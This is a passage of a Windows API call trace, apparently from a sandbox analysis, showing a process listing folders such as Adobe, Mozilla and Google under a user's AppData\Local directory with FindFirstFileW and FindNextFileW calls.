FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6a9d454, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd6a9d454, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd6a9d454, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CEF", cAlternateFileName="")) returned 1 [0179.003] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x46a165bd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc46ec579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x476c0de7, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0179.003] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConnectedDevicesPlatform", cAlternateFileName="CONNEC~1")) returned 1 [0179.006] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadb6a93, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a3bd622, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x7e3bdb64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0179.006] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0179.006] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4a3b706e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x4a3b706e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x38d01442, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x11920, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0179.006] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x75a49245, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x75a49245, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0179.007] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a9a8d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc895324f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6772beb, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftEdge", cAlternateFileName="MICROS~2")) returned 1 [0179.007] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa9067e6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0179.007] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xfe87ff8e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfe87ff8e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0179.007] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf9e1b08, ftCreationTime.dwHighDateTime=0x1d32734, ftLastAccessTime.dwLowDateTime=0xd2f40fba, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdf9e1b08, ftLastWriteTime.dwHighDateTime=0x1d32734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PeerDistRepub", cAlternateFileName="PEERDI~1")) returned 1 [0179.007] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e09841, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2f421af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3e09841, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publishers", cAlternateFileName="PUBLIS~1")) returned 1 [0179.007] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x18af0b28, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x18af0b28, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0179.007] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0179.007] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cdbf8a7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2fbd0ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3cdbf8a7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TileDataLayer", cAlternateFileName="TILEDA~1")) returned 1 [0179.008] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf56c97e4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xd3023f2d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf56c97e4, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UNP", cAlternateFileName="")) returned 1 [0179.008] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a795684, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3024d82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6a795684, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0179.008] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fee50 | out: lpFindFileData=0x12fee50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.008] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d8) returned 1 [0179.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0e4) returned 1 [0179.008] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync", lpFilePart=0x0) returned 0x28 [0179.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0179.008] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync", lpFilePart=0x0) returned 0x28 [0179.009] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0179.009] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.009] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.009] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0179.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0c8) returned 1 [0179.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d4) returned 1 [0179.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0ac) returned 1 [0179.009] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync", nBufferLength=0x105, lpBuffer=0x12feb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync", lpFilePart=0x0) returned 0x28 [0179.009] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ActiveSync\\*", lpFindFileData=0x12fedd4 | out: lpFindFileData=0x12fedd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f8d0 [0179.010] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.010] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa96a60b1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.010] FindClose (in: hFindFile=0x135f8d0 | out: hFindFile=0x135f8d0) returned 1 [0179.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff068) returned 1 [0179.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff074) returned 1 [0179.010] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe", nBufferLength=0x105, lpBuffer=0x12febf4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe", lpFilePart=0x0) returned 0x23 [0179.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff10c) returned 1 [0179.010] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe", nBufferLength=0x105, lpBuffer=0x12febc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe", lpFilePart=0x0) returned 0x23 [0179.010] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\*", lpFindFileData=0x12fee34 | out: lpFindFileData=0x12fee34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0179.011] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.012] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0179.012] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroCef", cAlternateFileName="")) returned 1 [0179.012] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1 [0179.012] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 0 [0179.012] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0179.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0c8) returned 1 [0179.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d4) returned 1 [0179.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0ac) returned 1 [0179.012] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe", nBufferLength=0x105, lpBuffer=0x12feb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe", lpFilePart=0x0) returned 0x23 [0179.012] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\*", lpFindFileData=0x12fedd4 | out: lpFindFileData=0x12fedd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0179.013] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.013] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0179.013] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroCef", cAlternateFileName="")) returned 1 [0179.013] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73de0392, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1 [0179.013] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.013] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0179.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff068) returned 1 [0179.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff074) returned 1 [0179.013] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2b [0179.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.014] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2b [0179.014] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.014] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.014] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0179.014] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0179.014] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.015] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat", nBufferLength=0x105, 